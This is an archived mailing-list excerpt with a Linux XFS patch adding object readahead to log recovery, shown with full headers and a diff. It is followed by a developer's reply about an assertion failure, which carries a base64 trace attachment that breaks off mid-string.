e37.co.us.ibm.com with IBM ESMTP SMTP Gateway: Authorized Use Only! Violators will be prosecuted for from ; Tue, 30 Jul 2013 03:58:25 -0600 Received: from d03dlp02.boulder.ibm.com (9.17.202.178) by e37.co.us.ibm.com (192.168.1.137) with IBM ESMTP SMTP Gateway: Authorized Use Only! Violators will be prosecuted; Tue, 30 Jul 2013 03:58:23 -0600 Received: from d03relay03.boulder.ibm.com (d03relay03.boulder.ibm.com [9.17.195.228]) by d03dlp02.boulder.ibm.com (Postfix) with ESMTP id 88F9F3E4003E for ; Tue, 30 Jul 2013 03:58:00 -0600 (MDT) Received: from d03av04.boulder.ibm.com (d03av04.boulder.ibm.com [9.17.195.170]) by d03relay03.boulder.ibm.com (8.13.8/8.13.8/NCO v10.0) with ESMTP id r6U9wNXa154788 for ; Tue, 30 Jul 2013 03:58:23 -0600 Received: from d03av04.boulder.ibm.com (loopback [127.0.0.1]) by d03av04.boulder.ibm.com (8.14.4/8.13.1/NCO v10.0 AVout) with ESMTP id r6U9wMeC007529 for ; Tue, 30 Jul 2013 03:58:22 -0600 Received: from us.ibm.com (f17.cn.ibm.com [9.115.122.140]) by d03av04.boulder.ibm.com (8.14.4/8.13.1/NCO v10.0 AVin) with SMTP id r6U9wJ3S007418; Tue, 30 Jul 2013 03:58:20 -0600 Received: by us.ibm.com (sSMTP sendmail emulation); Tue, 30 Jul 2013 17:59:08 +0800 From: zwu.kernel@gmail.com To: xfs@oss.sgi.com Cc: linux-fsdevel@vger.kernel.org, linux-kernel@vger.kernel.org, Zhi Yong Wu Subject: [PATCH v2] xfs: introduce object readahead to log recovery Date: Tue, 30 Jul 2013 17:59:07 +0800 X-ASG-Orig-Subj: [PATCH v2] xfs: introduce object readahead to log recovery Message-Id: <1375178347-29037-1-git-send-email-zwu.kernel@gmail.com> X-Mailer: git-send-email 1.7.11.7 X-TM-AS-MML: No X-Content-Scanned: Fidelis XPS MAILER x-cbid: 13073009-7408-0000-0000-000012741BBA X-Barracuda-Connect: e37.co.us.ibm.com[32.97.110.158] X-Barracuda-Start-Time: 1375178909 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=NO_REAL_NAME X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.137433 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.00 NO_REAL_NAME From: does not include a real name From: Zhi Yong Wu It can take a long time to run log recovery operation because it is single threaded and is bound by read latency. We can find that it took most of the time to wait for the read IO to occur, so if one object readahead is introduced to log recovery, it will obviously reduce the log recovery time. Log recovery time stat: w/o this patch w/ this patch real: 0m15.023s 0m7.802s user: 0m0.001s 0m0.001s sys: 0m0.246s 0m0.107s Signed-off-by: Zhi Yong Wu --- fs/xfs/xfs_log_recover.c | 162 +++++++++++++++++++++++++++++++++++++++++++++-- fs/xfs/xfs_log_recover.h | 2 + 2 files changed, 159 insertions(+), 5 deletions(-) diff --git a/fs/xfs/xfs_log_recover.c b/fs/xfs/xfs_log_recover.c index 7681b19..029826f 100644 --- a/fs/xfs/xfs_log_recover.c +++ b/fs/xfs/xfs_log_recover.c @@ -3116,6 +3116,111 @@ xlog_recover_free_trans( kmem_free(trans); } +STATIC void +xlog_recover_buffer_ra_pass2( + struct xlog *log, + struct xlog_recover_item *item) +{ + xfs_buf_log_format_t *buf_f = item->ri_buf[0].i_addr; + xfs_mount_t *mp = log->l_mp; + + if (xlog_check_buffer_cancelled(log, buf_f->blf_blkno, + buf_f->blf_len, buf_f->blf_flags)) { + return; + } + + xfs_buf_readahead(mp->m_ddev_targp, buf_f->blf_blkno, + buf_f->blf_len, NULL); +} + +STATIC void +xlog_recover_inode_ra_pass2( + struct xlog *log, + struct xlog_recover_item *item) +{ + xfs_inode_log_format_t in_buf, *in_f; + xfs_mount_t *mp = log->l_mp; + int error; + + if (item->ri_buf[0].i_len == sizeof(xfs_inode_log_format_t)) { + in_f = item->ri_buf[0].i_addr; + } else { + in_f = &in_buf; + memset(in_f, 0, sizeof(*in_f)); + error = xfs_inode_item_format_convert(&item->ri_buf[0], in_f); + if (error) + return; + } + + if (xlog_check_buffer_cancelled(log, in_f->ilf_blkno, + in_f->ilf_len, 0)) + return; + + xfs_buf_readahead(mp->m_ddev_targp, in_f->ilf_blkno, + in_f->ilf_len, &xfs_inode_buf_ops); +} + +STATIC void +xlog_recover_dquot_ra_pass2( + struct xlog *log, + struct xlog_recover_item *item) +{ + xfs_mount_t *mp = log->l_mp; + struct xfs_disk_dquot *recddq; + int error; + xfs_dq_logformat_t *dq_f; + uint type; + + + if (mp->m_qflags == 0) + return; + + recddq = item->ri_buf[1].i_addr; + if (recddq == NULL) + return; + if (item->ri_buf[1].i_len < sizeof(xfs_disk_dquot_t)) + return; + + type = recddq->d_flags & (XFS_DQ_USER | XFS_DQ_PROJ | XFS_DQ_GROUP); + ASSERT(type); + if (log->l_quotaoffs_flag & type) + return; + + dq_f = item->ri_buf[0].i_addr; + ASSERT(dq_f); + error = xfs_qm_dqcheck(mp, recddq, dq_f->qlf_id, 0, XFS_QMOPT_DOWARN, + "xlog_recover_dquot_ra_pass2 (log copy)"); + if (error) + return; + ASSERT(dq_f->qlf_len == 1); + + xfs_buf_readahead(mp->m_ddev_targp, dq_f->qlf_blkno, + dq_f->qlf_len, NULL); +} + +STATIC void +xlog_recover_ra_pass2( + struct xlog *log, + struct xlog_recover_item *item) +{ + switch (ITEM_TYPE(item)) { + case XFS_LI_BUF: + xlog_recover_buffer_ra_pass2(log, item); + break; + case XFS_LI_INODE: + xlog_recover_inode_ra_pass2(log, item); + break; + case XFS_LI_DQUOT: + xlog_recover_dquot_ra_pass2(log, item); + break; + case XFS_LI_EFI: + case XFS_LI_EFD: + case XFS_LI_QUOTAOFF: + default: + break; + } +} + STATIC int xlog_recover_commit_pass1( struct xlog *log, @@ -3177,6 +3282,26 @@ xlog_recover_commit_pass2( } } +STATIC int +xlog_recover_items_pass2( + struct xlog *log, + struct xlog_recover *trans, + struct list_head *buffer_list, + struct list_head *ra_list) +{ + int error = 0; + xlog_recover_item_t *item; + + list_for_each_entry(item, ra_list, ri_list) { + error = xlog_recover_commit_pass2(log, trans, + buffer_list, item); + if (error) + return error; + } + + return error; +} + /* * Perform the transaction. * @@ -3189,9 +3314,11 @@ xlog_recover_commit_trans( struct xlog_recover *trans, int pass) { - int error = 0, error2; - xlog_recover_item_t *item; + int error = 0, error2, ra_qdepth = 0; + xlog_recover_item_t *item, *next; LIST_HEAD (buffer_list); + LIST_HEAD (ra_list); + LIST_HEAD (all_ra_list); hlist_del(&trans->r_list); @@ -3199,14 +3326,21 @@ xlog_recover_commit_trans( if (error) return error; - list_for_each_entry(item, &trans->r_itemq, ri_list) { + list_for_each_entry_safe(item, next, &trans->r_itemq, ri_list) { switch (pass) { case XLOG_RECOVER_PASS1: error = xlog_recover_commit_pass1(log, trans, item); break; case XLOG_RECOVER_PASS2: - error = xlog_recover_commit_pass2(log, trans, - &buffer_list, item); + if (ra_qdepth++ >= XLOG_RECOVER_MAX_QDEPTH) { + error = xlog_recover_items_pass2(log, trans, + &buffer_list, &ra_list); + list_splice_tail_init(&ra_list, &all_ra_list); + ra_qdepth = 0; + } else { + xlog_recover_ra_pass2(log, item); + list_move_tail(&item->ri_list, &ra_list); + } break; default: ASSERT(0); @@ -3216,9 +3350,27 @@ xlog_recover_commit_trans( goto out; } + if (!list_empty(&ra_list)) { + error = xlog_recover_items_pass2(log, trans, + &buffer_list, &ra_list); + if (error) + goto out; + + list_splice_tail_init(&ra_list, &all_ra_list); + } + + if (!list_empty(&all_ra_list)) + list_splice_init(&all_ra_list, &trans->r_itemq); + xlog_recover_free_trans(trans); out: + if (!list_empty(&ra_list)) + list_splice_tail_init(&ra_list, &all_ra_list); + + if (!list_empty(&all_ra_list)) + list_splice_init(&all_ra_list, &trans->r_itemq); + error2 = xfs_buf_delwri_submit(&buffer_list); return error ? error : error2; } diff --git a/fs/xfs/xfs_log_recover.h b/fs/xfs/xfs_log_recover.h index 1c55ccb..16322f6 100644 --- a/fs/xfs/xfs_log_recover.h +++ b/fs/xfs/xfs_log_recover.h @@ -63,4 +63,6 @@ typedef struct xlog_recover { #define XLOG_RECOVER_PASS1 1 #define XLOG_RECOVER_PASS2 2 +#define XLOG_RECOVER_MAX_QDEPTH 100 + #endif /* __XFS_LOG_RECOVER_H__ */ -- 1.7.11.7 From zwu.kernel@gmail.com Tue Jul 30 06:06:07 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=FREEMAIL_FROM,T_DKIM_INVALID autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 2C2BE7CBF for ; Tue, 30 Jul 2013 06:06:07 -0500 (CDT) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay2.corp.sgi.com (Postfix) with ESMTP id 1846E304071 for ; Tue, 30 Jul 2013 04:06:04 -0700 (PDT) X-ASG-Debug-ID: 1375182361-04cb6c2e9c22e260001-NocioJ Received: from mail-qe0-f53.google.com (mail-qe0-f53.google.com [209.85.128.53]) by cuda.sgi.com with ESMTP id 6aPBjv1dWLsiIxhq (version=TLSv1 cipher=RC4-SHA bits=128 verify=NO) for ; Tue, 30 Jul 2013 04:06:01 -0700 (PDT) X-Barracuda-Envelope-From: zwu.kernel@gmail.com X-Barracuda-Apparent-Source-IP: 209.85.128.53 X-Barracuda-IPDD: Level1 [gmail.com/209.85.128.53] Received: by mail-qe0-f53.google.com with SMTP id f6so2934325qej.40 for ; Tue, 30 Jul 2013 04:06:01 -0700 (PDT) X-Barracuda-IPDD: Level1 [gmail.com/209.85.128.53] X-Barracuda-IPDD: Level1 [gmail.com/209.85.128.53] DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20120113; h=mime-version:in-reply-to:references:date:message-id:subject:from:to :cc:content-type; bh=8aKKjcu4SSlx+U7LnGi5UPKHSkSbBWCl/x6n7LayAiY=; b=GfR+okYXCI2a8suQVRrFFV5UN9c/6OAEx5XkA7ccDG7Mbe7BNqDEXhV7kYqs+4nPL/ y+7jPaXlxbcjuTUldnAFBvN1NTETY+1q4zc0pWcQAjv2N2s8Zr5nPKCfUI+h08JIa3re IBdvCG3k8y0SenIxi6b+6l10cuzi/5JM2NEwfiqZbEVDmKB281IAdcBOMF1kxYMfYIZC trt7g8Oy7NIFUio0CapWKN/v1CHCxQnraVtznNfeVbdAVOBC3FBJdXKK+gui6Qsx2cqN G+RUA27t4/PTOajkRG1uzkF78eUlJZa7OWmG5SAYkKkFgFRQGqE7QwZhfd0aLzKxBB+i ncCA== MIME-Version: 1.0 X-Received: by 10.224.113.209 with SMTP id b17mr19513720qaq.85.1375182361126; Tue, 30 Jul 2013 04:06:01 -0700 (PDT) Received: by 10.49.48.226 with HTTP; Tue, 30 Jul 2013 04:06:00 -0700 (PDT) In-Reply-To: References: <1374759524-10061-1-git-send-email-zwu.kernel@gmail.com> <20130726020318.GD21982@dastard> <20130726113717.GN13468@dastard> Date: Tue, 30 Jul 2013 19:06:00 +0800 Message-ID: Subject: Re: [PATCH] xfs: fix an assertion failure From: Zhi Yong Wu X-ASG-Orig-Subj: Re: [PATCH] xfs: fix an assertion failure To: Dave Chinner Cc: xfstests , Zhi Yong Wu Content-Type: multipart/mixed; boundary=047d7bdcab902369e904e2b89857 X-Barracuda-Connect: mail-qe0-f53.google.com[209.85.128.53] X-Barracuda-Start-Time: 1375182361 X-Barracuda-Encrypted: RC4-SHA X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Barracuda-BRTS-Status: 1 X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=DKIM_SIGNED, DKIM_VERIFIED X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.137434 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- -0.00 DKIM_VERIFIED Domain Keys Identified Mail: signature passes verification 0.00 DKIM_SIGNED Domain Keys Identified Mail: message has a signature --047d7bdcab902369e904e2b89857 Content-Type: text/plain; charset=ISO-8859-1 On Mon, Jul 29, 2013 at 4:33 PM, Zhi Yong Wu wrote: > On Fri, Jul 26, 2013 at 7:37 PM, Dave Chinner wrote: >> On Fri, Jul 26, 2013 at 02:01:23PM +0800, Zhi Yong Wu wrote: >>> No, it still raised the same assertion as below: >>> >>> [ 521.715103] XFS: Assertion failed: !(bip->bli_item.li_flags & >>> XFS_LI_IN_AIL), file: fs/xfs/xfs_buf_item.c, line: 940 >> >> How are you reproducing it? >> >> Can you take an event trace with trace-cmd and attach the output of >> the report? > After kernel base is switched to Linux 3.11-rc3, when i try to take > event trace with trace-cmd, that issue doesn't appear any more in my > environment. :) When your patch is not applied, i hit this issue sometime today, and take some event trace with trace-cmd, and attach it in this mail. But after your patch is applied, i tried some times, but haven't hit so far, so i want to see if i can hit it in next days. > >> >> Cheers, >> >> Dave. >> -- >> Dave Chinner >> david@fromorbit.com > > > > -- > Regards, > > Zhi Yong Wu -- Regards, Zhi Yong Wu --047d7bdcab902369e904e2b89857 Content-Type: application/x-gzip; name="trace_report.tar.gz" Content-Disposition: attachment; filename="trace_report.tar.gz" Content-Transfer-Encoding: base64 X-Attachment-Id: f_hjr01vym0 H4sIAK6d91EAA+z93Y9syXVnCdZz/RX3ZR6n2u3bDoF+oMSUhpgGJYjSaIRGg4jwiGgRyskU+NFd AvKPn3CLvO6RLPDq7s341Yp9r/GhyYJEpfVZcdx921rHzh9+d3d+/M3vHv/9+9/94b/94b//4b8I /nV6/levdf37879e/3u7/E9Oo/2XlNNoI7Uxnv/3UjnV8V8+nBSL+dN//fH3f7j73YcP/+V333// yf+f/8/+50H/9X89/u73v/3+uw//64f+X8///sff/6/pv/713//Tz04f/vfWj/7hm//PN7/6x19/ +MU//N3f//03v/g//uuHy7/++9Pv73777cP/8vuHu/9nmi1/+PC/P6P8P57/J3XU/3Yctc7+s8v/ 1m9++8fvvv3+/G8/+3D918Pj//VhPv+f/+133384/ff/x7f//cPTt3f/5+8//PJ/+7u//n//5tf/ r5//wze/+HC++/bbx9+9/F/47vuHx9/89g+P/7/fPK/uX60LeP5f+83Tt8//xd9+93/+7CcL+Pa3 //68gNN/f3r+15ynXI9ayrk+/w9+/92H+b+kkY7Thz/8x78/fvj//s2vf/O//fI3v/zV3/3im4+r /dVvfv7L/818NS7X4jffff9/3/32Dz/7n3o1Bo1juHDcdwmOsXG4cNzNLxPHpHFMF47jToJjbhwu HPP8ZeI4aByHC8d4lOA4Ng4fjtPGoVjAcXLh6FmB4+NiMBzXBQTD0SRzx8bhxFElc8eRaByJxpFc OIpk7uBxZBpHduHIkrnjejU2DhuOJJk7Ng4njpNk7jgKjaPQOIoPh2Tu2Dh8ONLjF3p3VBpH9eHQ 3B1143DheNBM5TiORuNoLhwaG3i9GhuHDYfGBvI4aFd+uFx50tjAg3blUXFobOBBy9mDduWHy5Un jQ3cOJw4NDbwoOXsQbvyw+XKk8YGflzM/R+ffvOH3/3HqyvycTH316vx3f23//b75/88P/zr998+ fMgf/v23352//+N3f/jwvLLn/+Lzv70s4Z//4Zf/+M0PP//1v/zqr3/4xd/96psf/v7nf/vNr19f uss/7i+6cJd/3uPDz/6E3J9euHI8/wTK9/PPXri/+qe/8V02WqIeuER1Oe1H0Q/SjcOHQ/KDtJ1g iXpbAITjugAjDskP0neAA5ao1wUYcUh+kN6uxsZhwyH5QfoOcMDW7roAKw7FD9Lb1dg4bDgkeVo7 wZrotgAMh8vaPUrytI3Di0OSp7UTrIluC8BwuKzdoyRP2zjayaWJHiV52nUxHA7Y2nlxSPK0d4AD 1kTXBRhxSPK029XYOIw4NHMHjgPWRNcF2HDcSfK029XYOIw4NHcHjgO2dtcFGHFI8rTb1dg4bDgk edo7wAHrp+sCjDgkNvB2NTYOGw6RDaRxJNoGJpcNvNPYwETbwKg4NDZw40guG3insYGJtoGJlrNe HJK5Y+Nw4tDYwETL2UTL2eSSs3caG7hxOHFobCCPg5azySVn7zQ2MNGuPCoOjQ3kcdByNrlc+Z3G BibalUfFobGBPA7alSezKx+jpyfRVE678qg4RGMgjoN25cnsyl9waD6saFceFYdoKsdx0K48mV35 wiGaymlXHhWHaCrHcdCuPJld+cIhmsppVx4Vh2gqx3HQrjyZXfnCIZrKcVceFIdmKs+0nM20nM1m V/6CQzIGbhx2HCuZ1jS6mZazmZaz2fcgs6bR3TicODSNLo+DlrPZ9yCzptHNtJwNiGPkpzY0mySZ toGZlrPZLGcXDs0mycaRzTZw4dBM5Zm2gZmWsz4cJ9EPXRwHbQOz3QZe7g7NJkmmbWBUHKJNEhwH bQOz3QYuHJoxkLaBQXEcGlfO46BtYLbbwIVDc3fQNjAqDk26wOOgbWC228ALDtEYSNvAqDhEmyQ4 DtoGZrsNvPyyEn130HI2Kg5NSYLjKLQNLHY5e8Gh+SovtJzlcZj10zOOrnlz8nUxHA7aBjpxaKby jaN49FPXvMj6uhgOB20DnTg0voPHQeun4rGBXfMi69vV2DiM3x2SLcTyo36yvKMpnZiXNF0Xe/fZ L2lKRz2fxycGaOdLmr6K69aG7rpxtz/t14rLr5019vnjYgK8ou0nF87wV9zbm7+i7fZH9PX+Fbs8 2FnjwQrtwQqtJZ04NLEwj4P2YMXlwc6aWLjQHiwqDk0sXGjxUmgPVlwe7Kw50HfjcOLQHOhbcPFC e7Di8mBnzYG+G4cTh+booEp7sEp7sGrWkqd6Pp00W8sbRzV7sIVDs7VcaQ9WaQ/mxKHZWt44vDgk U3mlPViltWR1aUnRS6g2DicOzRZipbVkpbVkdWlJ0WHwG0f1PKTYRa9KqLS1uy4gGA5Nu71xVI9E 7UXjOyptAyttA304RK9K2DicODQ5ZKVtYKXlbPXI2S56VcLGUT02sItelVBpOVtpOevEIdqz2jic ODS/rGg5W2k5Wz1ythfRntWMUwu+vnCfVwuWo6T7T/0de2vBergvW/2fftkO62VL5/x4d75/H5cN S6wd1+0Sp9b59nFqOwW6bu3kum6PnxhV/tLrhn3ZNNrmNpdcFz0oxOOg9WHz6UNNJ9domxsUh+i5 LR4HrQ+bWR++4JAMKo22uUFxiA7V5HHQ+rCZbe4LDs3dQdvcqDg0D4TwOGh92Mw2d+HQPBDSaJsb FYfmCYSPi4mwydXMj8TWPMZRPmGW3NMzbV0bbV2bz7qKvnJxHLTma2bruj5UNM/RNNq6RsWheY6G x0FrvmbWfAuHJr5ttHUNi0Pz3YHjoK1rM1vXhUPTQjdagkfFoYlveRz0I7HN/EjswqGpPRv9hHJU HJraE8fRaYnaPQcnj0fNd0enJWpUHBqnzeOgJWr3HJw8HjVf5Z2WqFFxaL7KeRy0RO2eR2LHo+ar vNMSNSoOzYMbPA5aonbPE8rjURPgdFqiBsVxr9lg53HQErWbJerL3SHZQuy00w6K417TQ20c3SNn n3Fo7g5aznbalTtxaHooHgctZ7vnCeVxr+mhOi1no+LQhP88DlrOds8jseNek6d1Ws4GxDFbOhXR dweOg5az3SxnFw5NutBpOcvjMNvAhUP0VY7bQFrOOnGIvsppHIO2gcNsAxcOzVf5oG1gVByaLUQe B20Dh9kGLhyaRnfQNjAqDk2jy+OgbeAw28CFQxP2DNoG8jjM+mnh0JQkg9ZPg7aBThwa/cTjoH3H MOunCw7RA8eD1k9RcWhsII+D1k/DrJ9ecGg+rGj9FBWHZs+Kx0Hrp2HWTwuH6IcurZ+i4tBsIQ7a dwxaPw2XfhIdVsHjoH3HcOkn0WP+g9ZPUXGIthBxHLR+Gi79JHrMf+D6KSoOzdxB45i0fpou/SR6 VHPS+onH4fIdomcDPy4mwjFgry+c4RBtxaHtoS5bdl229CC4bLTOmbTOmWa7Vo+auubhLh4HrXOm S+eIniaatM6ZtD+YLn8wNf5g0v6Ax+HasJ4afzDpDetJ+wMnDo3s5HHQG9bTtWE9NXtAk/YHUXFo 9oB4HLQ/mC5/MDV7QJP2B1FxiPaAcBy0P5gef5BFr6CatD+IikM0leMb1rQ/mB5/kEWR5cbhwpGS aCqncRy0Pzg8OucZh+TuOGidw+Pw6JyUNFP54fAS2EtRD7PPWa91uT+//ctkv4brpvBgB/241EEL ncPzuFRKmqj3oIVOVByaipTHQfu1w+PXUtJUpAft16Li0FSkB+3XDtqvHR7dmZLGIGwch8evpaQx CAft1w5ad3pxaObcjcOHQ2MQDtqvHbTuPDy6MyVNRbpxHB6/lpLmDRMH7dcOWnc6cWjeMMHjoP3a 4fFrKWneMHHQujMqDo195nHQfu3w+TWNfT5wvxYVh2bugHH0E+zXrgswJvoS+3y7GhuHEYfi7ngH OODDE68LMOKQ2Ofb1dg4bDgkNrCfYP10WwCGw3WW5aPEBm4cXhwSG9hPsA28LQDD4Xv4UWIDNw4v DokN7CfYBt4WgOFwPYv6KLGBG4cPR26iuQPHAdvA6wKMOERzByxnw+IQzR04DtgGXhdgxCGaO2A5 GxaHaO7AccBy9roAIw7R3AHL2bA4RHMHjgOWs9cFGHGI5g5YzsbFoZk7cBywnL0uwIhDUiHersbG YcMhqRB5HImWs8kjZ3OTVIi3q7Fx2HBIKsR3gIOWs8kjZ3OTVIi3q7Fx2HBIKsSeaDmbaDmbPHI2 N0mFuHG4cUjmjkTL2UTL2eSRs7loKsSNI7lsYNHYwETbwETLWScOjQ3cOJLLBhaNDUy0DUy0nHXi 0NhAHgdtA5PLBhaNDUy0DYyKQ2MDeRy0DUwuG1g0NjDRNjAqDo0N5HHQNjD5DgrW2MBE28CoODQ2 kMdB28DkO7dZYwMTbgOD4hDZQBpHpm1gdtnAorGBmbaBUXFobCCPg7aB2WUDNW9Tul2NrxeHSz9p 3qZ0XQyHg7aBXhySuWPjyC4bqHmb0nUxEc6u/8mV+7yz6/P54fFOcHb9l37d1pn/+f7N35VwXQp3 +9N+Lbt059TMuZnWnVFxaObcTPu1TOvO7NKdUzTnbhw+HKI5l/Zrmdad2aU7p6Z65XHQfi27/NrU VK+Z9mthcWjmXBwH7deyy691TfWaab+WaaGTXUKna6rXjAudoDg01SuOo9BCp7iETtdUr4UWOlFx aKpXHgctdIrLr3VN9VpovxYVh6Z65XHQQqe4/FrX2OdC+7WoODT2mcdBP21XXLqza+xzofVTVBwa +8zjoPVTcemnrrGBhbaBUXFobODGUVz6qWtsYKFtYKFtoBOHxgZuHE4cGhtYaBtYaDlbXHK2a2zg xuHFoZk7cBy0nC2+g4I1NvDjYiz15oTizdcXzhBvPhxvH28W2mkX2mkXj9M+PYo2M2inHRNHOYnm AxwH7bSLx2mXk2g+wJ12UByi+YDGUWmnXT1Ou5w080GlnXZYHJKvch4H7bSry2mL3tRdaacdFofm 7sBx0E67upy26E3dlXbaUXFoakEeB+20q8tpi97UXWmnHRWHphbkcdAStbqctuhN3ZV22lFxaGpB HgctUatLoore1F1ppx0Wh2bu2DhcEvVRUwtWWqJW2mk7cWhqQR4H7bSry2k/amrBSsvZqDg0NpDH QcvZ6nr++1FjAystZ6Pi0NhAHgctZ6vr+e9HkQ3E5WxUHJq5g8bRaDnbXM9/T40NbLSc5XH4zlfW 2MBG28BGy1knDo0N3DicODQ2sNE2sNFytvmOu9bYwI3DiUNjAxttAxstZ5vv9HGNDdw4mscGlpNm C7HRNrDRctaOo14et9FskmwczWwDFw7NJkmjbWCjbaAXh2YMxHHQNrCZbeAFRxVtktA2MCwOzd2B 46BtYDPbwIVDtElC28CgOETJdKP1U6NtYDPbwIVDtEmycfhwiDZJcP1E28BmtoELh2iTZOPw4dAk 0522gZ22gd0sZxcOTTK9cXSzfnrBIZk7Om0DO20DnTg0yfTG0c36aeHQJNOdtoGdtoFOHBrfsXF0 sw1cODTJdKdtYKdtoBOHJpnmcdD6qbtsoCiZ7rQNjIpDYwN5HLQN7C4bKEqmO20Dg+IYGhvI46Bt YHfZwKGxgZ22gVFxaGzgxuHEobGBnZaznZaz3SVnh8YGbhxOHBob2H9Uk5az0tMJOiy9v/Kon3dY ej4/PN719vaHpX8N12184vP4L71u3O1P687u0p1DY587bZ+j4hDZZxrHoHXncNnnobHPg7bPYXFI 5lweB607h8s+D419HrR9jopDY595HLTuHC77PDT2edD2OSoOjX3mcdD2ebjs89DY50HbZx6HR3eW ppk7Bq07B22fnThEcweOg9adw6M7n3Fo5g5ad0bFIZo7cBy0Xxsev1aaaO6gdWdUHKK5A8dB+7Xh 8WulieYOWndGxSGaO3Ac9LOow/Msamma6nXQNjAqDk31yuOgbeDw2MBnHJq5A7eBMXGIzsDBcUza Bk6PDSyiM3AmbQOj4tBUrzwO2gZOjw0sVVO9TtoGRsWhqV55HLQNnB4bWKqmep20DYyKQ1Mh8jho Gzg9crZUjQ2ctJyNikNjA3kctJydLjlbNTZw0nI2Kg6NDeRx0HJ2uuRs1djAScvZqDg0NpDHQcvZ 6ZKzVWMDJy1no+LQ2EAeBy1np0vOVo0NnLScjYpDYwN5HLScnS45WzU2cNJyNiaO/KixgTwOWs5O 37nNIhuIy9mgOEQ2kMZx0HL2MMvZ1I5T1/zQPWg5GxWH5ocuj4OWs4dZzi4cmh+6By1nw+KQfJXz OGg5e7jkrOiwx4OWs2FxaO4O2gYetJw9XHJWdNgjj4O2gYfLBooOezxoGxgVhyZ743HQNvBw2UDR YY8HbQOj4tBkbzwO2gYeLhsoOnzvoG1gVBya7I3HQdvAw2UDRYfvHbQNPGj9dLhsoOi0t8Nx/vCE jh8+fMcPz/z2xzYftLWL+VecRU8pHbgmoq3d4XrCVXRmIY3j+ZuLxXFdgBGHpBa8LibCGfM/uXKG D/lPKQTnh/zXcd0e3/zLcZxg8XJbAHb7u54Z1ZyRuXGMk0+8SKT9dTEcDtiDeXFIpP07wAF7sOsC rDgU2wO3q7Fx2I4Okkj7d4AD9mDXBVhxaO4O2IOFxSGR9uMEi5fbAjAcvgN9JbtA7wAHLF6uCzDi kEj729XYOGw4JNJ+4xgn3wmyEml/XQyHA9aSDhyXWPgs+irHccBC57oAIw7RVzns18LiEH2V4zhg v3ZdgBGH6Ksc92tBcWi+yhP8GNZtARSO5Hoq7izp7zaOkVyPYZ0l/d11MRwOWj95cUi2EDcOJw7J sXMj0fop0TYwmW3gwiHJITcOLw5JSDYSrZ8SbQOT2QYuHJqQbONIZv20cGjCnkTbwETbQCcOTdjD 46BtYDLbwIVDE/Yk2gaGxaGZO1qgmDa9EnefF9OO0cZDenj7CPnjUr7k65bv3z5CTrTuTLTuTC6/ 1jUhWaL9WqJ1pxeH5tMYx0H7teTya11jnxPt16Li0NhnHgft15LLr3WNfU607oyKQ2OfcRyZ9mvZ dwioxj5nWndGxaGxzzwO2q9l3yGgGvucad0ZFodk7uBx0H4tu/xa19jnTOvOqDg09pnHQfu17NKd XWOfM607o+LQ2GceB607s0t3PonmDlp3RsUhmjtwHLTuzC7d+SSaO2j7HBaHZu7AcdA2MJufRV04 RHMHLWej4hDNHTgOWs5ml5x9Es0dtJyNikM0d+A4aDmbXXL2SVO9ZlrORsWhqV55HLSczS45+6Sp XjMuZ6Pi0MwdNI5Cy9nikrOaly3frsbGYcQhuTt4HLScLS45q3nZ8u1qbBw2HJoKsdA2sNBytrjk 7KOmQtw4nDg0FWKhbWCh5WxxydlHjQ3cOJw4NDaw0Daw0HK2uOTso8YGbhzFZQMfNTaw0Daw0HLW iUNjA3kctA0sLhv4qLGBhbaBUXFobCCPg7aBxWUDHzU2sNA2MCoOjQ3kcdA2sLhs4KPGBhbaBkbF obGBG0dx2cBHjQ0suA2k5awPx1lkAzcOJw7J3VFpG1hpOVvNcnamu37S/LLaOJw4NL+sKi1nKy1n q1nOLhyaX1YbhxeH5ruDlrOVlrPVJWefNL+seBy0DawuG/gk+mVFy9moODSdFY+DtoHVJWefNJ1V peVsVByazorHQcvZ6ntyVtNZVVrOxsSRqui7A8dBy9nqkbOpir47aDkbFYfou4O2gZWWs9UjZ1MV fXdsHD4cmka30jaw0jaweuRsqppGl8dB66fq0U+pahrdStvAsDg0e1Y0jkbrp+Z5VDNVTaPbaBsY FYem0eVx0PqpeR7VTFXT6DbaBkbFoWl0eRy0DWweG5iqpiRptA2MikNTkjRaPzXaBjaPDUxVU5Js HF4ckrmj0fqp0TawmW3gCns0JcnG0cz66QWH5u6g9VOjbaATh8YGbhxOHBob2Ggb2Ggb2Mw2cOHQ 2MCNw4lDYwN5HLQNbGYbuHBobGCj5WxUHBob2H60gSHe895eedTLP+8z3/N+94kRwfue96/hus08 ZdeNu/3pGKCZdee6/TX2ueG6k7bPXhyaOZfG0Wnd2X0PP2rsc6d1Z1QcGvvM46B1Z/c9/Kixz53W nVFxaOwzj4PWnd2lO7tG6HxcjGVAmNB88PrCGeaDOt9+Pui0tOf/is1asuZahugXEG2JO22J7TiW JdZoSR4HrSW72RK/4NB8xtOWuNMerJs9WH66S1kjXj4uJsRXbnN95X7qt4r7K5e2uVH/ijVhFo+D 1ofdrA8XDo0+7LQ+jIpDow87rQ87rQ+7WR8uHBp9uHE4cWh0Do+Dtmvd/KjtCw7NfEDLzqg4RJsZ 